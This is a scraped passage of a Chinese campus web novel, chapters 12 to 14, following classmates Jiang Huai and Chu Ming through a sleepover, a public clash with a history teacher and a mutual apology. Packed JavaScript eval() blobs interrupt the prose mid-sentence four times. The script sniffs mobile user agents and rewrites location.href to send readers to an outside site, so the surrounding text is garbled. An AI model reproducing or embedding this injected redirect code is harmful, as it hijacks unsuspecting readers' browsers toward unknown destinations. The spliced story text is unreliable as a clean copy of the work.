“老板来瓶啤酒,”江淮抬了下手。 老板半天没有声音,一会儿后才见他从隔壁小卖部飞奔而来并递上啤酒:“上好的!” “你隔壁摊人情不顺一个?”江淮看了眼老板,接过啤酒叩开拉环,推到楚明手边。 老板小声地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295021|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了句:“他家啤酒都是4块一瓶的,喝不过瘾。” 江淮守着楚明吃完烧烤,提前两分钟结完账,说:“你骑吧,消消食。” 楚明点了个利索的头,心甘情愿:“嗯。” 看楚明吃烧烤完全不是看吃播那一挂能让人食欲大发恨不能多吃两把空气; 相反挺降欲的,那慢条斯理的动作看得江淮瞌睡虫乱爬。 这会坐到后座,脑袋顶上就跟站了十几只昂首挺胸带红色披风的瞌睡虫一样,他困得直接把脸放到楚明背上。 楚明背部微僵,第一脚甚至踩空了。 脸贴着脊背的温热不容忽视,他歪歪斜斜地上到正路才慢慢适应过来这种贴脸接触。 抿着唇“忍辱负重”地骑回了家。 “睡你的床,我睡沙发。”江淮打着哈欠往浴室走:“再借套衣服。” 楚明:“……” 他看着空空如也的衣柜,去阳台取下白天新晾上去的并套袋挂在门把手上。 上次江淮洗澡时间挺长。 楚明估摸着时间骑自行车出去多买了两套衣服。 回来时江淮窝在沙发里背对着客厅灯睡着了。 楚明站他身侧垂眼看了会他的侧脸。 眉照旧拧着,没平时生气时拧得深,但能隐隐感觉他睡得不是很舒服。 楚明低声喊了句:“江淮同学,你睡床吧。” 江淮同学没有任何回应。 楚明把他脱在一旁的校服外套轻轻搭在了他肚子上,转身进了浴室。 水声传出来时江淮指尖动了动。 他跟诈尸似的上半身挺直坐起来,确认楚明还在他便捡起才被自己蹭掉在地上的外套。 刚直起上半身就听水声一停:这么快? 他还保持着直起腰的动作,就见腰间裹着浴巾的楚明踏着双拖鞋,走了出来。 四目相对瞬间,江淮目光下移往他腰上扫了一眼。 身上还挂着水珠,肌肉线条分明的腹肌、往下清晰的人鱼线…… 楚明愣了一秒,一言不发转身回了卧室。 江淮抓着外套衣料的手微微收紧,拧眉问道:“我操,你真不会打篮球吗?” 楚明套上件新买的白t走出来,没有回答。 他刚刚是出来拿被江淮顺到客厅的吹风机的。 顾着江淮睡了他才只搭上浴巾就往外走,哪知道…… 他拔掉吹风机,往卧室走前直接切断可能会有的交流:“……晚安。” “你吹头我怎么晚安?”江淮直接坐起来:“你在这吹完我再睡。” 楚明:“……” 他往卧室走的步子一顿,把插头重新插回去,坐下来面无表情地吹头。 楚明背对着他坐着。 普通吹风机的声音纯噪音,可以说毫无美感与悦耳性。 放平时江淮是会产生拔掉插头、阻断声源的冲动的。 但今天看着楚明的手指穿插在头发间、微往前弓后颈绷出的线条形状时,他有些晃神。 晃到眼前发晕,连吹风机的声音都像是遥远在世界之外。 江淮看着看着仰头就倒回沙发。 睡沉了。 楚明吹干头背对着江淮收捡好吹风机。 忙活完准备关灯时才往江淮那边看了眼。 这回大概是真的睡着了,呼吸与胸口起伏平稳。 楚明轻轻呼气,帮他盖好外套后轻手轻脚地关掉灯,这才回到卧室摁开台灯,坐到书桌前开始写题。 12. 第 12 章 楚明今天又没叫他起床。 江淮坐直瞪着眼前亮堂堂的屋内,直觉要迟到,但两秒后目光飘向时钟,发现居然才六点半。 他才恍然惊觉夏天时间与天色错位的曼妙。 从洗漱间出来见卧室门还关着,江淮没忍住屈指敲门:“快七点了你还不醒?” 床上楚明十分梦一分醒地揉巴揉巴眼睛,以为是定的闹钟响了,探手摸索着按到手机音量键。 世界安静下来,他手臂压到眼睛上继续睡。 江淮在门口微愣:“他妈的怎么起这么早!” 说着他从阳台上取下昨晚洗干净的校服衣服,捡起沙发上的外套在腰间打个结便飞速冲出房间。 楼下包子铺火热叫卖着,江淮拿了两个馒头顺了杯豆浆。 几分钟炫完他跑步去上学。 - 七点十分早读开始。 “站起来早读了站起来早读了!”班长吆喝着。 四十多名大将揉着还没完全睁开的眼睛,做了十几个假动作才勉强屁股离座、蠕动起来。 歪七扭八地站着捧书如蚊蝇般哼哼。 “大清早的精神头都拿出来!”大马猴从后门门口探进来个头,卯足劲吼道:“没吃饭吗都!把声音拿出来!” 于是早读声高昂起来,就跟菜市场叫卖似的。 江淮靠窗站起来时瞥了眼空着的楚明的座位。 人呢? 没等他稍作思考就见后门口悠悠走进来个男生,是楚明,胸前抱着本习题册,正朝气满满地走进来。 大马猴正站黑板报前吊着一双积怨的眼:“你干嘛去了这会儿才到班?” 楚明低头轻声:“我找老师问问题。” “哦,”大马猴没再多说:“下次注意时间,回座位早读。” 江淮看着他回到座位弯腰从桌肚里掏出本英语3500词汇,挑了下眉: 学习态度这么好呢。 不过等五分钟休息时间开始,楚明从后门提进来个书包时,江淮顿时了然。 江淮问:“你迟到了?” 楚明抓着书包的手一颤,坐回位置小声说:“……嗯。” 江淮想起他家六点半连个人影都见不着,不解:“你他妈是乌龟还是蜗牛啊能在路上爬那么久?” 楚明:“……” 他不理解大清早挨的这一声责问是有何渊源。 他小声地说:“我骑车来的。” 江淮更加不解:“你两轮还蹬不过我两条腿?” 楚明来了个鼻腔共鸣:“嗯?” 江淮看残疾人似的关照了一眼他的腿,没再说话。 楚明:“……” 他其实也讨厌这种说话说一半的人。 - “等会我喊全体起立,你们就喊‘卫老师教师节快乐!’明白没有?”语文课代表悄悄吩咐着。 讲台底下立刻开始无版权纠纷地花式比ok,气声:“明白明白!” 卫疏进班时语文课代表挺起胸膛气沉丹田地一夹:“全体起立~” 同学们先是不动声色地呕了一下,才起身大鞠躬:“卫老师~~教师节~~快乐~~” “这是干嘛呀,”卫疏先愣了两秒,反应过来时笑道:“我都忘记了你们还记得呢!” 底下不知是谁大声说了句:“主要是班主任记得!” 顿时引得笑声一片。 错失良机的语文课代表再度行动,偷偷抱出一捧子“满天星”递给卫疏:“老师节日快乐!” 满天星上还放着牛皮纸,里面装着卡片。 “有心了有心了,”卫疏抱着花笑了笑:“就是你们老班口味稍稍微微有那么点过时……这年头还送满天星呢?” 笑完语文课便恢复到一贯的昏沉。 “我们今天开始《祝福》的学习,”卫疏说:“五分钟的时间同桌讨论讨论‘造成祥林嫂悲剧的原因到底是什么?’等会找人回答啊。” 教室里开始响起嗡嗡的讨论声。 江淮转了圈笔,说:“书上不是写了么,还讨论什么?” 楚明微顿:“……展开讨论。” “管他的先放一边,”江淮往他那边凑了些:“你到底会不会打篮球?” 楚明:“……”老师有人打扰同桌学习! 卫疏站讲台上光明正大地翻看那些卡片,笑得挺投入的。 江淮凑到他耳边:“我摸摸你腹肌。” 楚明:“!!” 楚明听着这话险些从座椅上跌下去,眼睛顿时鼓大了:“我……上课……不……” 江淮看着他的反应轻地拧眉:“你他妈到底怕我什么?说句话半天听不清俩字。” 楚明攥紧笔:“……没怕。” 江淮怒声:“那你他妈演我呢?” 楚明一时间又不知道该说什么了,埋着头默默看着书上那幅插图——“我真傻,真的。” 江淮单手托腮陷入沉思。 五分钟的讨论时间飞速过去,卫疏从卡片里抬起头,往后排这边看了两眼,笑着转开视线:“请我们课代表分享分享观点……” 接下来几节课流程完全CTRLV。 只是历史课开始时氛围小有凝滞,徐红梅没安排讲课,而是勾出十几道习题让学生做。 她坐着开始翻看那摞卡片。 五分钟后她突然站起身来,戒尺拍到讲台:“楚明,你站起来。” 江淮抬了下头,余光瞥见楚明噌地站起身来。 又搞什么? “我说怎么新同学刚来班级班级就一片乌烟瘴气牛鬼蛇神的,”徐红梅说:“原来根从你这儿生的啊。” 写题的没几个,扭头悄悄看热闹的倒是一抓一大把。 “你跟我说说什么叫‘是我自愿帮江淮同学罚抄的与他无关’,”徐红梅吼道:“你瞒着江淮瞒着我一块欺负大伙呢!” 楚明微顿:他没想到她会在历史课上公开念出卡片上的内容。 稍低些地垂下头看着课桌上打圈的题。 江淮捏着笔往空中转起半圈、随后中指迅速拨停。 他掀起薄薄的眼皮往讲台上扫了一眼。 “我说为什么江淮同学要跟我掰扯,人家不承认没做过的事情本身就是对的,”徐红梅把那张卡片撕碎:“反倒是你,是不是你故意挑起师生矛盾、让我和新同学一起难堪的?” 楚明在心底轻轻叹息两声,指腹小心翼翼地按平书面上的折角。 刚站起来时不小心蹭卷的。 “我希望你跟老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295022|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和江淮同学写个检讨再公开道个歉,”徐红梅说:“这事就算翻篇过去了——” 江淮眉心骤地往下一压。 他站起来直接开口:“您是更年期还是老年痴呆连基本的事实道理都分不清吗?” 徐红梅胸口的气顿时堵住了:“……” 连看热闹的同学都为之一震,纷纷投来看戏的目光。 江淮两指撑着桌面:“您去教语文吧,单看一句话都能做这么深的解读,别浪费了这么上好的一副心肠。” 他压着话在说,戾气全在喉间,克制着没有释放。 克制完他重新坐下,用笔连写两个方才忘勾的答案:B、B。 江淮的声音一直离得很近。 清晰而分明地穿进耳膜,就跟电影院开的环绕音效一样。 楚明感觉脑子里一片混沌久久难以平息。 他动作有些发僵地转头看向江淮。 窗外日光映亮教学楼白砖墙,分出些许涌入窗内,于是江淮乌黑的发顶、微弓的脊背就像散发着白金色光芒一般,过分亮眼。 他看得有些怔。 就好像,透过眼前的侧影,隐隐约约看到了…… 曾经的、已经离开许久的一个少年。 徐红梅当场气得跺了跺脚,两手心大张着撑在讲台,深呼吸不知道多少次才抬起头来。 教室里连窃窃私语都没有了,只余下满堂不敢言说的沉默。 马尾辫历史课代表好几次想起身但没起起来,偶尔看一眼徐红梅的表情时刻准备着上去掐人中。 大概过了三分钟这场沉默才结束。 徐红梅摆了摆手,声音带着老了十岁的疲累:“现在都是学生有理,老师哪哪都是错……行啊,那上自习吧,老师也教不得你们,教着教着就成你们口中的那副不讲道理的样子了,老师还挺……害怕的。” 讲台下传来几声隐忍的叹气声。 有几个偷偷转回来看江淮的…… 江淮不动如山地做完历史做数学,忙得不亦乐乎。 - 下课时教室瞬间闹腾起来。 跑操铃声响起时江淮起身,看了眼正抖着站一节课站得发麻的腿的楚明,轻皱眉说:“带我跑操。” 楚明点了下头:“……哦。” 往操场走时江淮总能听到自己的名字被颠球似的到处颠,偶尔还能听到几声楚明。 他抬脚用脚尖推了下楚明的小腿腿肚:“你昨天小作文就写那卡片呢?” 楚明放慢脚步:“嗯。” 江淮上前一步和他并肩:“为什么?” “我本来想试试解开误会。”楚明轻声说:“但……” “傻逼你撞枪口上了,”江淮扫了他一眼:“对有的人来说人就活一张脸,碰他的面子等于拍老虎屁股……人正愁没台阶下呢你就上赶着把背趴下去,不踩你踩谁?” 楚明微顿: 头一回觉得自己是真傻逼。 做事带着一种……习惯吃草之后半点沾荤的野性都不存在的懦弱。 江淮见他又沉默,伸手勾住他后脖子,往自己身边一带。 楚明鼻梁差点撞他胸口上。 接着就听江淮在他耳边轻声说:“今晚我睡床……你家沙发跟他妈石头一样硬。” 13. 第 13 章 跑操队形按体育课上课站位排列。 江淮前面是楚明,旁边不知怎的从细长竹竿换成了……赵逵逵。 “……一二一、一二一、一二三四!……” 跑步铃声开始响起,方阵绕着往前动。 “大兄弟,你真的猛啊,”赵逵逵克制地没去撞他的肩膀,尽量压低声音地说:“我做梦还真梦到过怒怼老师,你牛逼到真给我梦做成了现实!” 江淮没有应声,呼吸平稳地跑着。 赵逵逵说:“不过,哥们实话实话你别介意哈,就……是不是说得有点狠了。” 江淮看着前面楚明的后脑勺。 赵逵逵忧心忡忡地说:“我觉得徐红梅她也没错啊,本来楚明那句话就听着挺那啥的,虽然她说得确实也有点过,什么故意什么挑起矛盾的……但你这都给她骂得……说得她不想当老师了,况且今天还教师节呢……你要不还是去道个歉吧。” 江淮依旧没有应声。 赵逵逵便抬手戳了下右前方的楚明。 楚明往后略微偏了下头。 赵逵逵说:“你劝劝他呗!我比你们了解班主任,这种情况绝对会叫家长……到时候就不是道不道歉的问题了,而且……万一江淮这公开处刑,真整得徐老师提前退休了怎么办?” 21班班级方阵跑过主席台。 主席台上负责看跑的体育老师立刻举起话筒:“跑操不要说话!路过主席台时要喊班级口号!声音吼出来!” 于是“一二三四!!”的口号声里夹杂着: “……吼个屁吼,真该把台子上的人也拉下来跑!能喊个121不错了还要喊口号!” 赵逵逵辛苦的劝说并未得到多么热烈的回应。 江淮给了他一个意味深长的眼神,他没看懂;楚明轻轻嗯了一声,却也仅此而已。 - 周三是个特殊的日子——位居周中,前不着“周一流动红旗”定班、后不着“周末大型人口”流动。 是全年级班主任用于开班会、整理并警醒有扣班级分行为学生的黄道吉日。 大马猴夹着名单进班,把名单给了班上嗓门最大的喇叭哥。 喇叭哥痛失真名,但却是名副其实的“开口跪”,一开口便众生跪服、并竖起拇指恭迎喇叭大帝。 “高二上学期第2周上半周21班班级分加减情况。” 一时间所有人手忙脚乱地找耳塞,连大马猴都被震得凌波微步下讲台。 江淮坐最后一排都有些受到波及,不悦地拧了下眉。 余光里见楚明微微朝他这边缩了缩脖子,极小幅度地把耳朵往肩头压了些。 傻逼之余还挺…… 江淮冷着眉眼终止了自己偏离航道的评价系统。 “星期一:江淮第二、三、四、五节课上课睡觉,共计扣班级分1分; 楚明无故缺席跑操,扣班级分0.5分; 楚明扶低血糖同学进校医室,加班级分0.5分; 江淮历史课上不尊重老师(具体表现为回答问题不起立),扣班级分0.5分; 江淮拾金不昧拾得饭卡一张,加班级分1分; 江淮和楚明自习课上说小话,扣班级分0.5分; 公区打扫不及时,扣班级分1分; 江淮缺席查寝夜不归宿,扣班级分0.5分……” 江淮:“……” “星期二:江淮迟到,扣班级分0.5分; 江淮跑操请假但未进入指定区域,扣班级分0.5分; 江淮未着装校服,扣班级分0.5分……” 江淮:“……” 喇叭哥看着A4纸上的文字,读到后面有些晕“江淮”这两个字。 连同“如雷贯耳”的音量都有所放轻。 四十多名大将纠结于是该感激江淮让喇叭哥略显文静的高出场率还是该埋怨他以一己之力让班级分撒尿一般一泻千里。 毫无回转余地。 等喇叭哥宣读完毕,大马猴背着双手走到讲台,标志性地咳嗽两声,说:“同学们,今天九月十号教师节,这就是你们送给我的教师节礼物?” 有人高声吼了一句:“江淮同学送的!” 接着便有人起哄一句:“楚明同学也随份了!” 两句话从熟悉的方位传出,前后夹击惹起一众粗犷的笑声。 大马猴肉眼可见脸色微变:“江淮同学才来两天,规矩还没教明白,正所谓不知者不罪,老师不能给江淮同学那么高的要求让他保证不犯错……” “我不管,规定好的谁扣分谁值日并保洁的规矩不能变!” “切~不就是家里有钱建了个金子做的后门吗?” “那怎么办呢?他的错凭什么让我们承担后果……” 大马猴话还没落就激起热闹的众议,也算是达成了“民主协商民主决策”的一大外观成就! HIGHLIGHT OF DAMAHOU! 江淮横着手背让黑笔飞快运转在微凸的中指上,像是听到什么,他朝楚明微微偏了下头。 但立刻脑子里就回荡起喇叭哥的超声波——“江淮和楚明自习课上说小话,扣班级分0.5分。” 他沉着脸偏回去在楚明借他的草稿本上写字。 “……”楚明默默移开要听他说什么的耳朵。 半分钟后草稿本从桌缝平移到楚明课桌上。 江淮本着不说小话的原则,只轻轻用手在课桌下拍了拍楚明的大腿。 楚明被拍得一激灵。 抬手把草稿本挪到自己面前,看了一眼。 你怎么想?道歉么? ——江淮。 楚明轻轻抿唇,手指捻在本子边缘微微用力,他余光里江淮正严肃也认真地看着他。 貌似他不给出个回答,江淮下一秒就会张开血盆大口一口咬死他——渣都不剩那种。 楚明:“……” 他知道这说的应该是徐红梅的那件事。 向徐红梅道歉就意味着他是这件事最大的过错者——他让师生在不明情况的前提下产生误会,进而引发较为恶劣的对峙情节。 他并没什么多大的意见,换作平时他会主动去认错,并尽量承担多些责任以调和好那对师生之间的矛盾。 但让他意外的是:江淮会问他怎么想…… 江淮等了半分钟没等到任何回复。 楚明就盯着那两行一秒就能读完的内容发呆,眼里流露出他做题时候才会有的情绪。 江淮拧眉,压低声音凑他耳朵:“你他妈想什么呢?” 毫无疑问,楚明被他这声吓得瞳孔一震,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295023|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说眼球前有层玻璃,那么那层玻璃现在应该已经满是裂痕——“MADE IN CHINA”都承受不住的受力。 他轻颤,连忙抓笔在草稿纸上写。 看你,我都行。 江淮看着他把这行字写下来,冷嗤一声,右手越过楚明放桌上的左手肘夺过他手里的笔。 借他手肘当手托似的写下几个大字: 行你妈,傻逼。 楚明:“……” 江淮把草稿本拉回自己桌面的时候怒气一阵往头顶上燎。 发囊都快燎没了时他脾气也没了。 他倚在座位靠背上双眼无波地看着讲台上载歌载舞的大马猴。 大马猴说:“江淮同学的问题我会私下沟通,当然相应的处罚也会有,但我会酌情从轻;楚明同学作为班级老成员明知故犯即使有加分但改变不了自身所有的违规行为,我会着重处罚;至于大扫除所扣的分,下周仍归第三大组大扫除……” 江淮轻挑眉,思考半秒后举起右手。 大马猴顿时一阵心堵:“江淮同学有什么想法?” 前面的同学俱是长着脖子往后看去,见江淮笔直一条站了起来,难得默契: 又来了! 江淮轻轻牵动嘴角,有些蔑然:“要么从重处罚我,要么就都别处罚。” 大马猴:“……” 班上四十七名大将:“……” 大马猴这一瞬间的表情管理估计能成为男团训练模范。 只见他先是面无表情,听到江淮的话后眼神轻闪,手心盖着下半张脸哂笑一番后,手慢慢撑到讲台,嘴角轻勾地说:“大家要让江淮同学学习,‘陟罚臧否不宜异同’……” 底下传来一阵轰轰烈烈的鼓掌声:“PIAPIAPIA……” 大马猴极有层级的表演结束后,开口说:“那接下来半周时间江淮和楚明负责值日工作和课间、放学保洁工作。” - 下课后赵逵逵偷渡到江淮前桌位置,手里举着一红一绿两个痒痒挠。 对着江淮比了个“棒”的姿势。 “哥们你小时候是吃什么长大的?海胆吗?”赵逵逵晃动着两个痒痒挠:“真的巨胆海胆无敌胆!我□□说真的,我做梦都做不到这种程度!” 江淮轻挑眉:“什么程度?” “让人脚趾抠出一栋大别墅的尴尬程度,”赵逵逵激昂地说:“以及看NBA全球总决赛一样的久久难以平息的震撼程度。” 江淮:“……” “还有你,楚明同学,”赵逵逵转移目标:“我以前对你只有个‘专业背锅一百年’的印象,现在不一样,现在你有点像那个悬崖上走钢丝的,还没安全保护措施——我光是看着你就感受到一个成语:命悬一线。” 楚明:“……” 江淮斜他一眼:“你神经病吧?” 赵逵逵看过来:“此话怎么讲?” 江淮冷着眼:“滚远点。” “哦,”赵逵逵带着他的全身家当痒痒挠起身,临走前竖起肉做的大拇指,两个,分别献给“江海胆”和“楚一线”。 他绕出过道时喊道:“你俩挺配的,少一个21班都少点料的程度——真心的,祝你俩一直同桌长长久久。” 江淮:“……” 楚明:“……” 14. 第 14 章 赵逵逵的屁放完之后,江淮去了趟历史办公室。 指关节扣在门上的敲声,让一众看过去的历史老师不约而同地转开目光。 没人应,江淮则微倚在门口继续敲。 终于徐红梅不耐烦了:“进。” 江淮收手,走到她办公桌对面。 徐红梅没有把江淮喊出去然后私下里把事情解决,而是躲在安全罩里似的背靠“历史老师大家庭”。 她从座椅上抬起头,看着江淮:“你来做什么?” 江淮脊背挺直地站着,没有一丝弯折的意思:“我来道歉。” “呵,”徐红梅立马哼笑出声,嘴角一斜:“哦哟,江淮同学来道歉啊……我当是听了笑话呢怎么——” 她话还没说完,就听江淮声音冷淡地说: “嗯,我给你道歉,你给楚明道歉。如你所说,公开道歉。” 徐红梅脸上的笑容顿时凝固住,配上脸上的凹洼印子点子麻子,就是标准的蒸蛋表面。 她把飞出去的嘴角扯回来:“你什么意思?” “字面意思,”江淮轻笑一声:“这么看来您还不适合做语文老师,理解能力逊了些。” 徐红梅:“……” 她一口气才提到一半就开始转身指了指身后的几位女老师:“诶老师们都来听听,什么学生能把这种话说出口!” 几位老师齐刷刷地看向江淮。 其实江淮这身校服穿得还是挺端正的——正常男高发型,没戴耳钉鼻钉唇钉也没刻雕青,外套拉链拉到锁骨以上,裤子齐套没破洞,踩着只小白鞋儿。 可惜老师们对他的印象只有非常深刻的“419”了。 女老师1号:“同学,老师绝不会做出不利于学生的事。如果你觉得哪里出了问题,那一定先反思自己是不是先做错且错得出格了。” 江淮轻轻挑起一边眉毛,看她:“不是在教历史选择题选项出现‘一定’二字首先排除吗?” 女老师1号说:“什么意思?” 江淮说:“这个选项不用看了。” 就跟说“您这话不用听了”一样,女老师1号脸沉下来,不悦地说:“……这只是我表述的问题。但道理是这个道理,你作为学生,不能这么目无尊长,尊重老师是基本的。” 江淮说:“我以为处理事情应该就事论事。” 女老师1号说:“就事论事是对的,就应该就事论事。” 江淮反问:“就事论事那还带个屁的老师学生身份?” 历史办公室内鸦雀无声——空中飘来六个点,点点点点点点。 “这样这样大家都冷静一点,”女老师不知道几号说:“换个时间把事情从头到尾说清楚想明白,不要单纯因为语气的问题对对方产生刻板的偏见——哎哟我要去上课了,同学跟我一起下去吧,不然迟到你又要挨批评。” 江淮看了她一眼,思考两秒后才转身跟她往外走。 到走廊外女老师把手机摸出来看了眼时间,说:“你上晚自习之前那五十分钟也就是晚饭时间,抽个空来找一下我。” 江淮轻顿:“为什么?” “……”女老师听得一震:“我叫魏静云,你可以叫我魏老师——用你不喜欢的老师身份压一压你行吧,嘿才十几岁的小孩子嘴边天天挂个为什么凭什么。” 江淮:“……” 他轻顿:“成年就能为什么了?” “你——”魏静云朝他摆了摆手:“我说不过你的逻辑,反正你来就是了。要是可以的话,把你说的那个楚什么的同学也叫来。” - 江淮叼着吐司面包坐在教学楼外的银杏树坛上发呆。 面包片缓慢进入口腔却久久得不到搅碎机处罚,反倒先被时间支配得发软冒水。 江淮把面包片吐回包装袋扔进垃圾桶。 起身回到教室,楚明确实如他所料地正坐在位置上——不过并非单独的,前几排坐着个女生在边啃菠萝蜜边做题。 他便没说话,右手落到楚明面前并比了个朝外走的手势。 楚明微顿,舌尖拨动含着的糖并顶到左边腮帮子下,起身同他出去。 楚明看着他,轻声问:“……怎么了?” “去办公室喝茶,”江淮轻哼一声说:“五楼。” 三楼离五楼没半分钟路程,江淮却走得很慢,导致楚明不得不顺他的步子,口中的糖最后也只余气态的香甜。 江淮停在四楼楼梯口。 楚明因为速度慢才免遭江淮的背部袭击。 江淮转过身来,比楚明高出一层台阶,他一手扶栏杆一手插裤腿,垂眼说:“给我道歉。” 楚明:“……” 他食指大拇指指尖很轻地搓了一下,往下看了一眼后说:“对不起。” 操。 江淮拧眉:“你错了吗?” 楚明脚尖戳走地上咖啡糖娇小的包装,不解:“……” 见他又死机,江淮揣兜里的手摸出来轻轻拨了下他的脸颊:“怎么你他妈没错都要道歉?” 楚明:“……” 他微微顿了一下:“你让我道的……歉。” 江淮眉拧得更深了:“我让你道歉你就道歉,我让你跟我去办公室喝茶你就去,你他妈有毛病吧?” 楚明沉默不语。 “你怎么做到没点硬骨头的?”江淮大拇指指腹有些重地捻在他下颌角的硬骨上。 楚明闻声轻轻垂下了眼。 他回答不了这个问题,也……不想回答。 江淮见他半天没有声音反倒眼珠子快垂得着地了,他手横过来扣起楚明下巴迫使他看着自己。 他手蓦地一僵。 不知道是不是错觉,楚明眼眸里像是含着些明亮的水光,触及到他视线时楚明往旁边用力偏了一下头。 这一瞬间,江淮感觉心头像是被抽走了空气,有些涩得发疼。 他轻顿,手上动作不由地放轻:“你……我……对不起。” 操。 一句对不起还真就是这么容易说出口。 那他刚才做错什么了吗?好像……没有。 江淮顿时有些沉默。 楚明清晰地听到江淮这句道歉。 江淮声音里带着些紧张,脱口而出之后尾音微微发颤,估摸着完全是惊讶所致。 他也挺惊讶的。 他以为江淮这种人,在没违背他自己独一份的原则情况下,是不会说出一句道歉的。 江淮沉默片刻把他拉到了楼道边上,视线相平之后屁股抵在楼道玻璃窗窗洞洞沿上,轻声说:“我其实是想问你,怎么把一句对……道歉说得那么轻易。” 就好像,无关痛痒一样。 楚明和他的动作完全就是复制版本。 他微微偏头看着江淮,略有打量后说:“……你就当是,练普通话。” 江淮忽地一笑:“要求字正腔圆么?” 楚明没想到他会这么接话,极轻地笑了一声,说:“嗯。” “我从小到大没说过一句对不起,除非我有错在先,”江淮后脑勺磕在顶上的洞沿:“我觉得有时候这三个字说出口,就像是在……下跪,一点尊严和傲骨都没有。” 楚明空气一般地沉默了。 他余光里江淮皱着眉,好像在认真地思考。 江淮停了一会儿说:“这么说来我也是那类面子大如天的人。” 楚明没思考,轻摇头:“……有时候不是。” “嗯?”江淮不知为何有些疲累,想挑一下眉毛的力气都没有:“什么时候?” 楚明抿唇,说:“……举手要处罚的时候。” 江淮扶额轻笑:“你他妈真是……”他微顿,心头跟着放松下来,他连忙说:“走吧,我去道歉。” 楚明没跟上他的节奏:“嗯?” 江淮见他磨磨唧唧的,拉住他小臂便往楼梯上走:“快点,趁我刚对你模拟了一遍。” 楚明:“……” 江大面子这是准备不要面子了? - 进历史办公室时,很巧,只有魏静云和徐红梅两个人。 “这么早来了?”魏静云挪了两把椅子到他们面前:“先坐着吹会空调,等你们徐老师啃完肉松面包。” 徐红梅听到这话脸蓦地一僵,把面包放下:“我吃完了。” “真快!”魏静云朝她竖了个大拇指,坐到他俩面前,“能把事情原委从头讲清楚吗?不要单纯的事实,我还想听支撑每个行为的理由。” 江淮略有沉默。 楚明轻轻抬了下手,说:“我的问题,擅自帮江淮罚抄并没有以合理方式解开误会。希望徐老师能消气,我可以再罚抄十遍……或者站着听一周课。” 他说着说着感觉后颈微微发热。 余光见江淮抬手,捏住他后颈用了些力,低声:“闭嘴。” 楚明:“……” 他已经说完了。 徐红梅靠窝在椅子里慢慢阖住眼,嘴歪让她东西向坐着侧脸都能呈现出百分之八十的嘴,嘴角再往上提些能跟耳垂肩并肩。 她把面包包装袋揉成一团,发出塑料因子竞相被挤爆的噪音。 “那你就站着听一周课,这件事我算是翻篇了,”她说:“要是之后再有类似行为,我不管你是好心好意还是故意特意,我都不再管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚明攥着他衣摆,很轻地说:“……这里有人来。” “有人怎么了?”江淮突然一顿:“进的女厕所?” 楚明:“……” 他往厕所里扫了一眼:“男厕你怕屁。”说着他往楚明下身扫了一眼:“你有别人也有,谁稀罕你的。” 楚明着实有些想发笑,他偏过头去。 江·神经大条·淮什么时候能反应过来,他这姿势坐洗手台上,有点儿……羞耻。 江淮指腹忽然按到他下颌角按紧:“你转移话题呢。” 楚明被痛意唤醒:……刚才有话题吗? 江淮目光错过楚明脑袋边、颈侧随意看了眼镜子。 方才坐得急,楚明后面衣服被蹭上去一大截,皱巴的衣摆间隐约露出后腰……他连忙把楚明拽下来。 楚明历经磨练的鼻子猛地撞在他腹部,顿时掀出一阵发酸的痛感。 “换个地方,”江淮按着他手腕把他往外带。 兴许是方才两人思维完全不同频以至于乱事颇多,江淮把他带到窗边时已经忘记自己要干嘛了。 他干把窗外楼下的风景看着。 晚饭时间接近尾声,陆陆续续路上有学生三两成群地往教学楼走。 楚明杵在他旁边,也看着这些黑乎乎的头顶。 他略微偏头看了眼江淮。 江淮无非是想问自己为什么先揽错…… 他能明白江淮是什么意思,只是人一旦学会换个思路去看事情,能接受的就会变多。 不会单纯地执拗,会想:挺直的脊柱可以微微曲折;艳羡的不再只是铁和钢,还会有弹簧。 江淮没转过脸来,隔着粗厚的窗玻璃俯视着楼底,轻声说:“真烦啊。” 楚明趁他没心情看自己便肆意看着他的侧脸:“嗯?” 江淮忽然偏过头来看他:“我那天怒气冲冲来警告你,她今天居高临下来处罚你……你在想什么?” 楚明迅疾地避开他的视线,沉顿半晌后说:“我吗?” “不然?”江淮没好气地哼了一声。 “大概是在想,”楚明轻舒气,诚挚地说:“比别人经历的事多了一桩,挺好的。” 江淮目光更沉地看着他。 楚明总有预感江淮说出口的要么是“你有毛病吧”,要么就是“傻逼”。 事实上并非如此。 